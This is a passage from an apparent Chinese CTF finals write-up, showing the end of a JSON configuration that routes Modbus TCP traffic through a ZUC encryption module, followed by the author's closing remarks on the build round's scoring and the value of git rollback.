        "ljump":4,
            "sender":"modbus_slave",
        "newname":"encrypt_zuc_crypt"
    },
    "MATCH_RULES":
    [
        {"op":"AND","type":"MODBUS_TCP"},
    ],
    "ROUTE_RULES":
    {
        "main_policy":[
            {"target_type":"LOCAL","target_name":"modbus_zuc_crypt"},
        ]
    }
}

总结

build虽然只占决赛总分的10%,但是这10分还是很重要的,因为其他部分可能拉不开很大的差距。
最后再说一句就是,git回滚是真的好用,没有他,今年的build估计要寄了。